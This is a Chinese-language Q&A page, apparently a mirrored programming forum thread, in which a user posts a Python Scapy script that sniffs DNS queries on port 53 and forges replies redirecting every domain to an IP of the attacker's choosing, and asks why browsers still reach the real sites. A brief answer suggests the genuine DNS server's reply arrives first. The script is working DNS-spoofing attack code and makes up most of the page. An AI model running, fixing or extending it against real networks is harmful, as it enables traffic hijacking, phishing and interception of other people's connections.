为什么 DNS 欺骗不起作用

问题描述 投票:0回答:1

我使用 Scapy 库编写了一个 python 脚本来欺骗对所有查询的 DNS 响应。该脚本成功,这意味着当我手动查找 IP 地址时,我会得到脚本提供的 IP 地址。那么,为什么当我访问需要 DNS 查询的网站时,我会得到正确的页面而不是完全不同的网站(由特定 IP 提供)。

import logging
logging.getLogger("scapy.runtime").setLevel(logging.ERROR) # remove scapy warnings

from scapy.all import *
conf.verb = 0 # turn off scapy messages

spoofed_ip = YOUR_IP

def start():
    print 'Listening for DNS Queries...'

    sniff(
          lfilter=lambda p: p.haslayer(UDP) and p.dport == 53, # is DNS query
          prn=callback,
    )

def callback(p):
    res = forge_response(p)
    sendp(res)

    print 'Spoofed Response: ' + res[DNS].an.rrname + '->' + str(res[IP].dst) + ' As: ' + spoofed_ip

def forge_response(p):
    ether = Ether(src=p[Ether].dst, dst=p[Ether].src) # swap macs
    ip = IP(src=p[IP].dst, dst=p[IP].src) # swap IPs
    udp = UDP(sport=p[UDP].dport, dport=p[UDP].sport) # swap ports

    dnsrr = DNSRR(rrname=p[DNSQR].qname, rdata=spoofed_ip)
    dns = DNS(id=p[DNS].id, ancount=1, an=dnsrr)

    res = ether / ip / udp / dns / dnsrr # forge response

    return res


start()

非常感谢。

python networking dns packet scapy
1个回答
0
投票

好吧,请记住这些 pkt 也会发送到您的路由器提供的 DNS 服务器,因此可能收到的响应不是您的而是路由器的。你要知道 DNS 欺骗是一个复杂的问题,我也在努力解决它。

© www.soinside.com 2019 - 2024. All rights reserved.